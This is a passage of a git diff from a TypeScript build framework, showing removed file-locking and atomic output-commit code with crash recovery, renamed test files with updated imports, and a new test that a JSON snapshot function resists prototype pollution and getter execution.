已占用最终 lock 时不能覆盖它。 */ - } - throw new Error('Managed output lock changed during stale recovery.'); - } - } finally { - await removeOwnedPath(quarantine); - } -} - -/** 把完整 owner record 通过 hard-link no-replace 原子发布为最终锁。 */ -async function publishManagedOutputLock(file: string): Promise { - /** token 同时区分同 PID 的当前 holder 与 cleanup 失败残留。 */ - const token = randomUUID(); - /** 同目录唯一草稿保证 hard-link 发布不跨文件系统。 */ - const draft = `${file}.${token}.writing`; - /** 草稿从创建起就是私有普通文件。 */ - const handle = await fs.open(draft, 'wx', 0o600); - try { - try { - await handle.writeFile(`${JSON.stringify({ schemaVersion: 3, pid: process.pid, token })}\n`); - await handle.sync(); - } finally { - await closeOwnedFile(handle); - } - /** final path 要么不存在并完整出现,要么保持既有 writer 不变。 */ - await fs.link(draft, file); - } finally { - await removeOwnedPath(draft); - } - return token; -} - -/** 只释放仍由当前 holder token 标识的最终锁。 */ -async function releaseManagedOutputLock(file: string, token: string): Promise { - /** 删除前重新读取最终锁,避免移除另一个 writer 已替换的记录。 */ - const observation = await readManagedOutputLock(file); - if (observation.record?.pid !== process.pid || observation.record.token !== token) - throw new Error('Managed output lock ownership changed before release.'); - await removeOwnedPath(file); -} - -/** - * 持久写入一个不含物理路径的事务 marker。 - * - * @param file 同一受管输出专属的 marker 路径。 - * @param record 当前事务的稳定恢复信息。 - */ -async function writeTransactionMarker(file: string, record: TransactionRecord): Promise { - /** 临时普通文件先完整落盘,最终 marker 永远不会暴露部分 JSON。 */ - const writing = `${file}${MARKER_WRITING_SUFFIX}`; - /** `wx` 防止遗留或并发状态被当前事务静默覆盖。 */ - const handle = await fs.open(writing, 'wx', 0o600); - try { - await handle.writeFile(`${JSON.stringify(record)}\n`); - /** 临时 marker 内容先落盘,随后才允许原子发布最终目录项。 */ - await handle.sync(); - } finally { - await handle.close(); - } - try { - /** 同目录 hard link 原子发布且拒绝覆盖任何既有最终 marker。 */ - await fs.link(writing, file); - } finally { - /** 发布前失败或发布后崩溃遗留的临时链接都不参与恢复判断。 */ - await fs.rm(writing, { force: true }); - } -} - -/** - * 读取并验证一个受管事务 marker。 - * - * @param file 当前输出专属 marker 路径。 - * @param expectedOutDir 当前受管输出 basename。 - * @returns marker 不存在时返回 undefined。 - */ -async function readTransactionMarker(file: string, expectedOutDir: string): Promise { - /** marker 缺失是正常恢复状态。 */ - const stat = await fs.lstat(file).catch(() => undefined); - if (stat === undefined) - return undefined; - if (stat.isSymbolicLink() || !stat.isFile()) - throw new Error('Managed output transaction marker must be a regular file.'); - /** 未验证 JSON 只能用于恢复状态判断,不能提供任意路径。 */ - const value: unknown = JSON.parse(await fs.readFile(file, 'utf8')); - if (typeof value !== 'object' || value === null || Array.isArray(value)) - throw new Error('Managed output transaction marker is invalid.'); - /** marker 只允许固定恢复字段。 */ - const record = value as Record; - if (Object.keys(record).sort(compareCodePoints).join(',') !== 'hadOutput,outDir,schemaVersion,scope' - || record.schemaVersion !== 2 || record.outDir !== expectedOutDir - || (record.scope !== 'full' && record.scope !== 'subset') || typeof record.hadOutput !== 'boolean') { - throw new Error('Managed output transaction marker is invalid.'); - } - return Object.freeze({ - schemaVersion: 2, - outDir: record.outDir, - scope: record.scope, - hadOutput: record.hadOutput, - }) as TransactionRecord; -} - -/** @returns 字节的 SHA-256 十六进制摘要。 */ -function hashBytes(bytes: Uint8Array): string { - return createHash('sha256').update(bytes).digest('hex'); -} - -/** - * 规范化 transaction scope 并校验与 Unit Platform 集合完全一致。 - * - * @param scope 调用方选择语义。 - * @param units 本轮待提交 Package Units。 - * @returns frozen full/subset scope。 - */ -function normalizeScope( - scope: ManagedOutputScope | undefined, - units: readonly PackageUnitSnapshot[], -): ManagedOutputScope { - if (scope === undefined || scope.type === 'full') - return Object.freeze({ type: 'full' }); - if (scope.type !== 'subset' || !Array.isArray(scope.platforms)) - throw new TypeError('Managed output scope is invalid.'); - /** selected IDs 复制、排序并拒绝不稳定或重复值。 */ - const selected = [...scope.platforms].sort(compareCodePoints); - if (selected.length === 0 || selected.some(platform => !STABLE_ID.test(platform)) - || new Set(selected).size !== selected.length) { - throw new TypeError('Subset Platform ids must be unique lowercase kebab-case values.'); - } - /** 成功提交时每个 selected Platform 必须至少存在一个 Unit。 */ - const actual = [...new Set(units.map(unit => unit.platform))].sort(compareCodePoints); - if (JSON.stringify(actual) !== JSON.stringify(selected)) - throw new TypeError('Subset Platform ids must exactly match the Package Unit Platform set.'); - return Object.freeze({ type: 'subset', platforms: Object.freeze(selected) }); -} - -/** - * 验证 outDir 与 project root 的物理语法边界。 - * - * @param outDir 受管输出目录。 - * @param projectRoot 工程根目录。 - * @returns outDir、父目录和 basename 的绝对路径集合。 - */ -function outputPaths(outDir: string, projectRoot: string): { - readonly resolved: string; - readonly parent: string; - readonly base: string; -} { - /** 输入路径先解析为绝对位置再判断边界。 */ - const resolved = path.resolve(outDir); - /** 工程根同样固定为绝对路径。 */ - const project = path.resolve(projectRoot); - /** basename 用于构造同级事务辅助路径。 */ - const base = path.basename(resolved); - if (!isInsidePath(project, resolved) || resolved === project - || resolved === path.parse(resolved).root || base === '' || base === '.' || base === '..') { - throw new Error('Managed output must stay strictly inside the project root.'); - } - return Object.freeze({ resolved, parent: path.dirname(resolved), base }); -} - -/** - * 读取一个未选 Platform 的完整旧输出,拒绝非普通内容和路径碰撞。 - * - * @param root Platform 物理根。 - * @param id Platform ID。 - * @returns 可复制并在 swap 前复核的内存快照。 - */ -async function snapshotPreservedPlatform(root: string, id: string): Promise { - /** scanPhysicalTree 统一拒绝 symlink/special file。 */ - const tree = await scanPhysicalTree(root); - /** 路径索引额外拒绝大小写和 NFC collision。 */ - const collision = new Map(); - for (const relative of [...tree.directories, ...tree.files]) { - /** 所有目录和文件共享同一个折叠 collision domain。 */ - const key = sourceCollisionKey(relative); - /** 首次出现的原始 path 用于稳定诊断。 */ - const previous = collision.get(key); - if (previous !== undefined) - throw new Error(`Preserved Platform path "${relative}" collides with "${previous}".`); - collision.set(key, relative); - } - /** file snapshots 与目录 closure 分开保存。 */ - const files: PreservedFile[] = []; - for (const relative of tree.files) { - /** 文件字节一次性复制,旧输出不会成为新 AssetRef 来源。 */ - const file = path.join(root, ...relative.split('/')); - /** mode 只接受框架 Asset 支持的两种权限。 */ - const stat = await fs.lstat(file); - /** 权限去除文件类型位后参与 snapshot。 */ - const mode = stat.mode & 0o777; - if (mode !== 0o644 && mode !== 0o755) - throw new Error(`Preserved Platform file has unsupported mode: ${id}/${relative}.`); - /** 内容 snapshot 同时固定 size/hash。 */ - const bytes = Uint8Array.from(await fs.readFile(file)); - files.push(Object.freeze({ - path: relative, - bytes, - mode, - size: bytes.byteLength, - sha256: hashBytes(bytes), - })); - } - return Object.freeze({ id, directories: tree.directories, files: Object.freeze(files) }); -} - -/** - * 在取得 transaction lock 后快照所有未选 Platform。 - * - * @param outDir 当前受管输出。 - * @param selected 本轮显式替换的 Platform。 - * @returns 按 Platform ID 排序的旧输出快照。 - */ -async function snapshotPreservedPlatforms( - outDir: string, - selected: ReadonlySet, -): Promise { - if (!await exists(outDir)) - return Object.freeze([]); - /** outDir 自身也不能是 symlink 或普通文件。 */ - const stat = await fs.lstat(outDir); - if (stat.isSymbolicLink() || !stat.isDirectory()) - throw new Error('Managed output root must be a regular directory.'); - /** outDir 顶层只能包含 lowercase-kebab Platform 目录。 */ - const entries = (await fs.readdir(outDir, { withFileTypes: true })) - .sort((left, right) => compareCodePoints(left.name, right.name)); - /** 未选 Platform 按目录顺序进入快照。 */ - const preserved: PreservedPlatform[] = []; - /** 顶层 Platform ID 也拒绝 case/NFC collision。 */ - const collisions = new Map(); - for (const entry of entries) { - if (!STABLE_ID.test(entry.name) || !entry.isDirectory() || entry.isSymbolicLink()) - throw new Error(`Managed output contains an invalid Platform root: "${entry.name}".`); - /** Platform ID 使用与 Package path 相同的折叠 key。 */ - const key = sourceCollisionKey(entry.name); - /** 首次 Platform 名用于冲突诊断。 */ - const previous = collisions.get(key); - if (previous !== undefined) - throw new Error(`Managed output Platform "${entry.name}" collides with "${previous}".`); - collisions.set(key, entry.name); - if (!selected.has(entry.name)) - preserved.push(await snapshotPreservedPlatform(path.join(outDir, entry.name), entry.name)); - } - return Object.freeze(preserved); -} - -/** - * 把未选 Platform snapshot 写入 stage。 - * - * @param stage 当前事务 stage 根。 - * @param platforms 旧输出内存快照。 - */ -async function materializePreservedPlatforms( - stage: string, - platforms: readonly PreservedPlatform[], -): Promise { - for (const platform of platforms) { - /** Platform 根本身即使为空也必须保留。 */ - const root = path.join(stage, platform.id); - await fs.mkdir(root, { recursive: true, mode: 0o700 }); - for (const directory of platform.directories) - await fs.mkdir(path.join(root, ...directory.split('/')), { recursive: true, mode: 0o700 }); - for (const file of platform.files) { - /** 文件写入不复用 copyFile,确保使用已快照的确定字节。 */ - const destination = path.join(root, ...file.path.split('/')); - await fs.mkdir(path.dirname(destination), { recursive: true, mode: 0o700 }); - await fs.writeFile(destination, file.bytes, { flag: 'wx', mode: file.mode }); - await fs.chmod(destination, file.mode); - } - } -} - -/** - * 复核保留 Platform 的树闭包、字节和 mode。 - * - * @param parent outDir 或 stage 根。 - * @param platforms 先前建立的完整快照。 - */ -async function validatePreservedPlatforms( - parent: string, - platforms: readonly PreservedPlatform[], -): Promise { - for (const platform of platforms) { - /** preserved validation 始终从 Platform root 开始。 */ - const root = path.join(parent, platform.id); - /** closure 比较拒绝外部在 snapshot 后增删文件或目录。 */ - const tree = await scanPhysicalTree(root); - if (JSON.stringify(tree.directories) !== JSON.stringify(platform.directories) - || JSON.stringify(tree.files) !== JSON.stringify(platform.files.map(file => file.path))) { - throw new Error(`Preserved Platform tree changed during transaction: ${platform.id}.`); - } - for (const expected of platform.files) { - /** 每个文件重新读取以验证 source/stage 都等于同一 snapshot。 */ - const file = path.join(root, ...expected.path.split('/')); - /** mode 从 lstat 获取,避免最终 symlink 跟随。 */ - const stat = await fs.lstat(file); - /** bytes 再次复算 size/hash。 */ - const bytes = Uint8Array.from(await fs.readFile(file)); - if ((stat.mode & 0o777) !== expected.mode || bytes.byteLength !== expected.size - || hashBytes(bytes) !== expected.sha256) { - throw new Error(`Preserved Platform file changed during transaction: ${platform.id}/${expected.path}.`); - } - } - } -} - -/** - * 校验 stage 顶层只包含本轮 Unit 与保留 Platform 的完整集合。 - * - * @param stage 当前 stage 根。 - * @param units 本轮新 Package Units。 - * @param preserved 未选 Platform snapshots。 - */ -async function validateStagePlatforms( - stage: string, - units: readonly PackageUnitSnapshot[], - preserved: readonly PreservedPlatform[], -): Promise { - /** expected 顶层由新 Unit Platform 与 preserved Platform 并集组成。 */ - const expected = [...new Set([ - ...units.map(unit => unit.platform), - ...preserved.map(platform => platform.id), - ])].sort(compareCodePoints); - /** stage 顶层实际目录集合也必须完整闭合。 */ - const actual = (await fs.readdir(stage, { withFileTypes: true })) - .map((entry) => { - if (!entry.isDirectory() || entry.isSymbolicLink()) - throw new Error(`Managed stage contains a non-directory Platform root: "${entry.name}".`); - return entry.name; - }) - .sort(compareCodePoints); - if (JSON.stringify(actual) !== JSON.stringify(expected)) - throw new Error('Managed stage Platform closure mismatch.'); -} - -/** 把即将 swap 的最终 stage 全部目录规范为公开可遍历的 0755。 */ -async function normalizeFinalDirectoryModes(stage: string): Promise { - if (process.platform === 'win32') - return; - /** scan 先证明整棵 stage 不含 symlink 或特殊文件。 */ - const tree = await scanPhysicalTree(stage); - /** 后代先 chmod,最后处理会成为 outDir 的 stage root。 */ - for (const directory of tree.directories) - await fs.chmod(path.join(stage, ...directory.split('/')), 0o755); - await fs.chmod(stage, 0o755); -} - -/** 复核 stage 根和所有后代目录的最终 POSIX mode。 */ -async function validateFinalDirectoryModes(stage: string): Promise { - if (process.platform === 'win32') - return; - /** scan 同时返回完整目录闭包并拒绝非普通内容。 */ - const tree = await scanPhysicalTree(stage); - for (const directory of ['', ...tree.directories]) { - /** 空字符串表示最终 outDir 根自身。 */ - const physical = directory === '' ? stage : path.join(stage, ...directory.split('/')); - /** lstat 复核当前目录没有被替换且使用最终公开 mode。 */ - const stat = await fs.lstat(physical); - if ((stat.mode & 0o777) !== 0o755) - throw new Error('Managed stage directories must use mode 0755.'); - } -} - -/** - * 原子提交全部 selected Package Units。 - * - * @param outDir 框架完全管理的输出目录。 - * @param units 已完成 candidate/compatibility 校验的 Package Units。 - * @param assets 当前 BuildSession Asset Registry。 - * @param options 工程边界、scope 和 fault-injection hooks。 - */ -export async function commitPackageUnits( - outDir: string, - units: readonly PackageUnitSnapshot[], - assets: AssetRegistry, - options: CommitPackageUnitsOptions, -): Promise { - /** 所有路径、scope 输入在创建锁或辅助文件前完成验证。 */ - const locations = outputPaths(outDir, options.projectRoot); - /** scope 与本轮 Unit Platform set 精确绑定。 */ - const scope = normalizeScope(options.scope, units); - await fs.mkdir(locations.parent, { recursive: true }); - /** project→parent 的每层必须是非 symlink 普通目录。 */ - await validatePhysicalEntry(path.resolve(options.projectRoot), locations.parent, 'directory'); - if (await exists(locations.resolved)) - await validatePhysicalEntry(path.resolve(options.projectRoot), locations.resolved, 'directory'); - /** 三个持久辅助路径与 outDir 同级,保证 rename 不跨文件系统。 */ - const lockPath = path.join(locations.parent, `.${locations.base}.acplugin.lock`); - /** transaction record 用于崩溃恢复。 */ - const transactionPath = path.join(locations.parent, `.${locations.base}.acplugin-transaction.json`); - /** transaction marker 写入中断时遗留的非权威临时文件。 */ - const transactionWritingPath = `${transactionPath}${MARKER_WRITING_SUFFIX}`; - /** cleanup 完成后写入的 marker 将 pending transaction 提升为正式提交。 */ - const committedPath = path.join(locations.parent, `.${locations.base}.acplugin-committed.json`); - /** committed marker 写入中断时遗留的非权威临时文件。 */ - const committedWritingPath = `${committedPath}${MARKER_WRITING_SUFFIX}`; - /** backup 保存 swap 前的完整旧目录。 */ - const backupPath = path.join(locations.parent, `.${locations.base}.acplugin-backup`); - /** 当前调用创建但尚未 swap 的 stage。 */ - let stage: string | undefined; - /** rollback 判断旧输出是否已经移动。 */ - let backupCreated = false; - /** rollback 判断新输出是否已经暴露。 */ - let outputSwapped = false; - /** 仅清理当前调用已经创建的 transaction marker。 */ - let transactionWritten = false; - - /** 创建独占锁;完整 stale/malformed 状态隔离后允许有限重试。 */ - const acquireLock = async (): Promise => { - for (let attempt = 0; attempt < 4; attempt += 1) { - /** 所有 fixed lock path 读取、发布和恢复都在唯一 guard 内串行化。 */ - const guard = await acquireManagedOutputLockGuard(lockPath); - try { - try { - /** hard-link publication 是多个 acplugin 进程间的原子事务互斥点。 */ - const token = await publishManagedOutputLock(lockPath); - ACTIVE_LOCK_TOKENS.add(token); - return token; - } catch (error) { - if ((error as NodeJS.ErrnoException).code !== 'EEXIST') - throw error; - } - try { - /** final lock 从出现起就应当是完整 schema 3 record。 */ - const observation = await readManagedOutputLock(lockPath); - /** 当前进程仍登记的 token 和任何其他存活 PID 都是活 writer。 */ - const live = observation.record !== undefined - && ((observation.record.pid === process.pid && ACTIVE_LOCK_TOKENS.has(observation.record.token)) - || (observation.record.pid !== process.pid && processIsAlive(observation.record.pid))); - if (live) - throw new Error(`Managed output is locked by process ${observation.record!.pid}.`); - /** 新协议不会发布 malformed record;旧 create→write 残留经复核后隔离。 */ - await quarantineManagedOutputLock(lockPath, observation); - } catch (lockError) { - if ((lockError as NodeJS.ErrnoException).code === 'ENOENT') - continue; - throw new Error(`Managed output is locked. ${String(lockError)}`, { cause: lockError }); - } - } finally { - await releaseManagedOutputLockGuard(guard).catch(() => undefined); - } - } - throw new Error('Managed output lock could not be acquired after stale recovery.'); - }; - - /** lock token 从 recovery 一直持有到 cleanup 完成。 */ - const lockToken = await acquireLock(); - try { - await options.onPhase?.('lock-acquired'); - /** pending 与 committed marker 共同消除 swap 后崩溃的恢复歧义。 */ - const pendingRecord = await readTransactionMarker(transactionPath, locations.base); - /** committed marker 必须与 pending record 描述同一个事务。 */ - const committedRecord = await readTransactionMarker(committedPath, locations.base); - if (pendingRecord !== undefined && committedRecord !== undefined - && JSON.stringify(pendingRecord) !== JSON.stringify(committedRecord)) { - throw new Error('Managed output transaction markers do not match.'); - } - /** 上次事务遗留 backup 的普通目录边界。 */ - const hasBackup = await exists(backupPath); - if (hasBackup) { - /** backup 只能是同级普通目录,绝不能恢复一个符号链接。 */ - const backupStat = await fs.lstat(backupPath); - if (backupStat.isSymbolicLink() || !backupStat.isDirectory()) - throw new Error('Managed output backup must be a regular directory.'); - } - if (committedRecord !== undefined) { - /** cleanup 已完成的事务保留新输出;异常缺失时回退到仍完整的旧 backup。 */ - if (!await exists(locations.resolved) && hasBackup) - await fs.rename(backupPath, locations.resolved); - else if (hasBackup) - await fs.rm(backupPath, { recursive: true, force: true }); - } else if (pendingRecord !== undefined) { - /** 未提交事务必须恢复调用前状态。 */ - if (pendingRecord.hadOutput) { - if (hasBackup) { - if (await exists(locations.resolved)) - await fs.rm(locations.resolved, { recursive: true, force: true }); - await fs.rename(backupPath, locations.resolved); - } else if (!await exists(locations.resolved)) { - throw new Error('Managed output rollback record lost both output and backup.'); - } - } else { - if (hasBackup) - throw new Error('Managed output rollback record has an unexpected backup.'); - if (await exists(locations.resolved)) - await fs.rm(locations.resolved, { recursive: true, force: true }); - } - } else if (hasBackup) { - /** 无 marker 的 backup 只可能来自已提交事务的最后清理窗口。 */ - if (!await exists(locations.resolved)) - await fs.rename(backupPath, locations.resolved); - else - await fs.rm(backupPath, { recursive: true, force: true }); - } - /** recovery 后的正式输出必须仍位于工程内且无 symlink 祖先。 */ - if (await exists(locations.resolved)) - await validatePhysicalEntry(path.resolve(options.projectRoot), locations.resolved, 'directory'); - if (pendingRecord !== undefined) - await fs.rm(transactionPath, { force: true }); - if (committedRecord !== undefined) - await fs.rm(committedPath, { force: true }); - /** 未原子发布的 marker 草稿没有恢复权威,统一在锁内清理。 */ - await fs.rm(transactionWritingPath, { force: true }); - await fs.rm(committedWritingPath, { force: true }); - /** 只清理当前 outDir 专属前缀的旧 stage。 */ - const stalePrefix = `.${locations.base}.acplugin-stage-`; - for (const entry of await fs.readdir(locations.parent, { withFileTypes: true })) { - if (entry.name.startsWith(stalePrefix)) - await fs.rm(path.join(locations.parent, entry.name), { recursive: true, force: true }); - } - await options.onPhase?.('recovery-complete'); - - /** subset 在锁内快照未选 Platform;full 使用空保留集。 */ - const preserved = scope.type === 'subset' - ? await snapshotPreservedPlatforms(locations.resolved, new Set(scope.platforms)) - : Object.freeze([]); - stage = await fs.mkdtemp(path.join(locations.parent, `.${locations.base}.acplugin-stage-`)); - /** 先放入旧未选 Platform,再写入本轮 selected Units。 */ - await materializePreservedPlatforms(stage, preserved); - /** selected Units 直接从 AssetRegistry 做 TOCTOU materialization。 */ - const materialized = await materializePackageUnits(stage, units, assets); - /** 只有完整 stage 即将验证/swap 时才从私有 0700 规范为最终 0755。 */ - await normalizeFinalDirectoryModes(stage); - await options.onPhase?.('stage-materialized'); - /** selected Units、preserved Platforms 与 stage 顶层分别完成闭包验证。 */ - await validatePackageUnits(stage, units, materialized); - await validatePreservedPlatforms(stage, preserved); - await validateStagePlatforms(stage, units, preserved); - await validateFinalDirectoryModes(stage); - /** swap 前再次复核旧未选 Platform 没有在 snapshot 后变化。 */ - if (preserved.length > 0) - await validatePreservedPlatforms(locations.resolved, preserved); - await options.onPhase?.('stage-validated'); - /** record 只含相对 basename、scope 和旧输出存在性,不记录绝对路径。 */ - const transactionRecord: TransactionRecord = Object.freeze({ - schemaVersion: 2, - outDir: locations.base, - scope: scope.type, - hadOutput: await exists(locations.resolved), - }); - await writeTransactionMarker(transactionPath, transactionRecord); - transactionWritten = true; - await options.onPhase?.('transaction-written'); - - if (await exists(locations.resolved)) { - await fs.rename(locations.resolved, backupPath); - backupCreated = true; - } - try { - await options.onPhase?.('backup-created'); - await fs.rename(stage, locations.resolved); - stage = undefined; - outputSwapped = true; - await options.onPhase?.('output-swapped'); - await options.afterSwap?.(); - /** 只有必要 cleanup 成功后,崩溃恢复才允许保留新输出。 */ - await writeTransactionMarker(committedPath, transactionRecord); - } catch (error) { - try { - /** afterSwap/rename 失败统一恢复旧输出。 */ - if (outputSwapped && await exists(locations.resolved)) - await fs.rm(locations.resolved, { recursive: true, force: true }); - if (backupCreated && await exists(backupPath)) - await fs.rename(backupPath, locations.resolved); - } catch (rollbackError) { - throw new AggregateError([error, rollbackError], 'Managed output rollback failed.', { cause: rollbackError }); - } - throw error; - } - if (await exists(backupPath)) { - try { - await fs.rm(backupPath, { recursive: true, force: true }); - } catch { - /** committed marker 保留到下次 recovery 删除过期 backup。 */ - return; - } - } - /** backup 已清理后才可删除恢复 record;committed marker 最后删除。 */ - try { - await fs.rm(transactionPath, { force: true }); - transactionWritten = false; - } catch { - /** 两个 marker 留给下次 recovery 确认新输出已提交。 */ - return; - } - try { - await fs.rm(committedPath, { force: true }); - } catch { - /** 单独的 committed marker 同样可由下次 recovery 安全清理。 */ - } - } catch (error) { - if (!(error instanceof AggregateError) && transactionWritten) { - try { - await fs.rm(transactionPath, { force: true }); - await fs.rm(committedPath, { force: true }); - transactionWritten = false; - } catch { - /** 无法清理的 marker 是下一轮可恢复状态。 */ - } - } - throw error; - } finally { - if (stage !== undefined) { - try { - await fs.rm(stage, { recursive: true, force: true }); - } catch { - /** stage 清理失败不覆盖原始 transaction 结果。 */ - } - } - try { - /** release 也必须与 stale recovery/new publication 使用同一 metadata guard。 */ - const guard = await acquireManagedOutputLockGuard(lockPath); - try { - await releaseManagedOutputLock(lockPath, lockToken); - } finally { - await releaseManagedOutputLockGuard(guard); - } - } catch { - /** 遗留 token 从 active set 撤销后将被同 PID 的下一轮识别为 stale。 */ - } finally { - ACTIVE_LOCK_TOKENS.delete(lockToken); - } - } -} diff --git a/packages/core/test/compiler-managed.test.ts b/packages/core/test/compiler/compiler-managed.test.ts similarity index 98% rename from packages/core/test/compiler-managed.test.ts rename to packages/core/test/compiler/compiler-managed.test.ts index 36e6c07..190c9c8 100644 --- a/packages/core/test/compiler-managed.test.ts +++ b/packages/core/test/compiler/compiler-managed.test.ts @@ -6,13 +6,13 @@ import { VERSION } from 'rolldown'; import type { CompileJob, ManagedRolldownPlugin, -} from '../src/kernel-types.js'; -import { CompilerHost } from '../src/compiler/compiler-host.js'; -import { AssetRegistry } from '../src/kernel/asset-registry.js'; -import { BuildSessionScope } from '../src/kernel/build-session-scope.js'; -import { SourceRegistry } from '../src/kernel/source-registry.js'; -import { WatchRegistry } from '../src/kernel/watch-registry.js'; -import { WorkDirectoryRegistry } from '../src/kernel/work-directories.js'; +} from '../../src/contracts/index.js'; +import { CompilerHost } from '../../src/compiler/compiler-service.js'; +import { AssetRegistry } from '../../src/services/assets.js'; +import { BuildSessionScope } from '../../src/lifecycle/session-scope.js'; +import { SourceRegistry } from '../../src/services/sources.js'; +import { WatchRegistry } from '../../src/services/watch.js'; +import { WorkDirectoryRegistry } from '../../src/services/work-directories.js'; /** Compiler Host 测试创建的临时工程根。 */ const roots: string[] = []; diff --git a/packages/core/test/compiler-portable.test.ts b/packages/core/test/compiler/compiler-portable.test.ts similarity index 95% rename from packages/core/test/compiler-portable.test.ts rename to packages/core/test/compiler/compiler-portable.test.ts index 6c8a6e7..eca6c03 100644 --- a/packages/core/test/compiler-portable.test.ts +++ b/packages/core/test/compiler/compiler-portable.test.ts @@ -2,14 +2,14 @@ import { promises as fs } from 'node:fs'; import os from 'node:os'; import path from 'node:path'; import { afterEach, describe, expect, it } from 'vitest'; -import type { CompileJob, SourceFileRef } from '../src/kernel-types.js'; -import { CompilerHost } from '../src/compiler/compiler-host.js'; -import { packageScope } from '../src/compiler/managed-boundary.js'; -import { AssetRegistry } from '../src/kernel/asset-registry.js'; -import { BuildSessionScope } from '../src/kernel/build-session-scope.js'; -import { SourceRegistry } from '../src/kernel/source-registry.js'; -import { WatchRegistry } from '../src/kernel/watch-registry.js'; -import { WorkDirectoryRegistry } from '../src/kernel/work-directories.js'; +import type { CompileJob, SourceFileRef } from '../../src/contracts/index.js'; +import { CompilerHost } from '../../src/compiler/compiler-service.js'; +import { packageScope } from '../../src/compiler/managed/boundary.js'; +import { AssetRegistry } from '../../src/services/assets.js'; +import { BuildSessionScope } from '../../src/lifecycle/session-scope.js'; +import { SourceRegistry } from '../../src/services/sources.js'; +import { WatchRegistry } from '../../src/services/watch.js'; +import { WorkDirectoryRegistry } from '../../src/services/work-directories.js'; /** portable Compiler 测试创建的临时工程根。 */ const roots: string[] = []; diff --git a/packages/core/test/compiler-portable.types.ts b/packages/core/test/compiler/compiler-portable.types.ts similarity index 95% rename from packages/core/test/compiler-portable.types.ts rename to packages/core/test/compiler/compiler-portable.types.ts index bf04dbb..2e23f6a 100644 --- a/packages/core/test/compiler-portable.types.ts +++ b/packages/core/test/compiler/compiler-portable.types.ts @@ -3,7 +3,7 @@ import type { CompileOptions, PortableNodeCompileOptions, PortableNodeResolveOptions, -} from '../src/kernel-types.js'; +} from '../../src/contracts/index.js'; /** portable options 必须只有精确 Profile map 中的一份类型。 */ expectTypeOf>().toEqualTypeOf(); diff --git a/packages/core/test/config-resolver.test.ts b/packages/core/test/config/config-resolver.test.ts similarity index 97% rename from packages/core/test/config-resolver.test.ts rename to packages/core/test/config/config-resolver.test.ts index e2c9f8e..57cec03 100644 --- a/packages/core/test/config-resolver.test.ts +++ b/packages/core/test/config/config-resolver.test.ts @@ -1,7 +1,7 @@ import path from 'node:path'; import { describe, expect, it } from 'vitest'; -import { defineExtension, definePlatform } from '../src/kernel-contracts.js'; -import { resolveKernelConfig } from '../src/kernel/config-resolver.js'; +import { defineExtension, definePlatform } from '../../src/api/definitions.js'; +import { resolveKernelConfig } from '../../src/config/resolver.js'; /** @returns 配置测试使用的最小 Platform。 */ function platform(id: string, strict?: boolean) { diff --git a/packages/core/test/kernel-contracts.test.ts b/packages/core/test/contracts/integration-definitions.test.ts similarity index 96% rename from packages/core/test/kernel-contracts.test.ts rename to packages/core/test/contracts/integration-definitions.test.ts index e9036aa..8172fd0 100644 --- a/packages/core/test/kernel-contracts.test.ts +++ b/packages/core/test/contracts/integration-definitions.test.ts @@ -5,10 +5,10 @@ import { isAcpluginExtension, isAcpluginPlatform, LIFECYCLE_API_VERSION, -} from '../src/kernel-sdk.js'; +} from '../../src/api/integration.js'; /** - * 创建 Kernel v2 契约测试使用的最小 Platform。 + * 创建 Integration definition 契约测试使用的最小 Platform。 * * @param overrides 需要覆盖的定义字段。 * @returns 交给 definePlatform 的完整定义。 @@ -32,7 +32,7 @@ function platformDefinition(overrides: Record = {}) { } /** - * 创建 Kernel v2 契约测试使用的最小 Extension。 + * 创建 Integration definition 契约测试使用的最小 Extension。 * * @param overrides 需要覆盖的定义字段。 * @returns 交给 defineExtension 的完整定义。 @@ -56,7 +56,7 @@ function extensionDefinition(overrides: Record = {}) { }; } -describe('Kernel v2 definition contract', () => { +describe('Integration definition contract', () => { it('keeps API version one while branding and freezing complete Platform definitions', () => { /** 调用方仍持有并将在工厂返回后修改的 options。 */ const options = { marketplace: { states: ['AVAILABLE'] } }; diff --git a/packages/core/test/contracts/json-snapshot.test.ts b/packages/core/test/contracts/json-snapshot.test.ts new file mode 100644 index 0000000..c83dd5d --- /dev/null +++ b/packages/core/test/contracts/json-snapshot.test.ts @@ -0,0 +1,78 @@ +import { describe, expect, it } from 'vitest'; +import { snapshotJson } from '../../src/api/integration.js'; + +describe('strict JSON snapshot boundary', () => { + it('copies, orders and deeply freezes plain JSON without retaining input identity', () => { + /** 调用方仍持有且将在 snapshot 后修改的输入。 */ + const input = { zebra: [{ enabled: true }], alpha: 1 }; + /** SDK 返回的隔离、稳定 snapshot。 */ + const snapshot = snapshotJson(input, 'Fixture'); + + input.zebra[0]!.enabled = false; + expect(snapshot).toEqual({ alpha: 1, zebra: [{ enabled: true }] }); + expect(Object.keys(snapshot as object)).toEqual(['alpha', 'zebra']); + expect(Object.isFrozen(snapshot)).toBe(true); + expect(Object.isFrozen((snapshot as { readonly zebra: readonly unknown[] }).zebra)).toBe(true); + expect(Object.isFrozen((snapshot as { readonly zebra: readonly object[] }).zebra[0])).toBe(true); + }); + + it('handles prototype-sensitive JSON keys without mutating the output prototype', () => { + /** defineProperty 创建合法 JSON data property,避免对象字面量的 __proto__ 特殊语法。 */ + const input: Record = { constructor: 'safe' }; + Object.defineProperty(input, '__proto__', { + value: { polluted: true }, + enumerable: true, + configurable: true, + writable: true, + }); + /** 普通对象输出必须把 __proto__ 保留为自有 data property。 */ + const snapshot = snapshotJson(input, 'Fixture') as Record; + + expect(Object.getPrototypeOf(snapshot)).toBe(Object.prototype); + expect(Object.hasOwn(snapshot, '__proto__')).toBe(true); + expect(snapshot.__proto__).toEqual({ polluted: true }); + expect((Object.prototype as Record).polluted).toBeUndefined(); + }); + + it('rejects executable, hidden and structurally ambiguous values without invoking getters', () => { + /** getter 调用次数证明边界只读取 descriptor。 */ + let getterCalls = 0; + /** accessor object 不得在诊断过程中执行 getter。 */ + const accessor = Object.defineProperty({}, 'secret', { + get: () => { + getterCalls += 1; + return 'value'; + }, + enumerable: true, + }); + /** non-enumerable 字段不能成为 JSON 中的隐藏语义。 */ + const hidden = Object.defineProperty({}, 'hidden', { value: true, enumerable: false }); + /** Symbol 字段不能绕过字符串字段快照。 */ + const symbol = Object.defineProperty({}, Symbol('hidden'), { value: true }); + /** 稀疏数组不能被隐式规范化成 null。 */ + const sparse = new Array(2); + sparse[1] = 'value'; + /** 自定义 Array prototype 不属于无行为 JSON 容器。 */ + const inheritedArray: unknown[] = []; + Object.setPrototypeOf(inheritedArray, Object.create(Array.prototype)); + + expect(() => snapshotJson(accessor, 'Fixture')).toThrow('enumerable data property'); + expect(getterCalls).toBe(0); + expect(() => 